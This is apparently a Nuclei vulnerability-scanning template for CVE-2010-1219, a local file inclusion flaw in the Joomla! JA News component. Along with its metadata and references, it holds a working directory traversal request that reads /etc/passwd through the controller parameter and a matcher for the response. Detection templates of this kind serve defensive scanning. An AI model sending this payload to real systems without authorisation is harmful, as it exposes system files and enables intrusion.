id: CVE-2010-1219

info:
  name: Joomla! Component com_janews - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11757
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1219
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56901
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1219
    cwe-id: CWE-22
    epss-score: 0.00813
    epss-percentile: 0.81755
    cpe: cpe:2.3:a:com_janews:com_janews:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: com_janews
    product: com_janews
  tags: cve,cve2010,joomla,lfi,edb,com_janews

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f0ca03dafb2349c2cd53b47ebdb6ee4d7e0bf83edd2988dccf9a9048d88ffcc5022100d8d1c6c37bc42a5908fcf9b6e81ddf83bc914e169bf3b1e490cd4033cfccb484:922c64590222798bb761d5b6d8e72950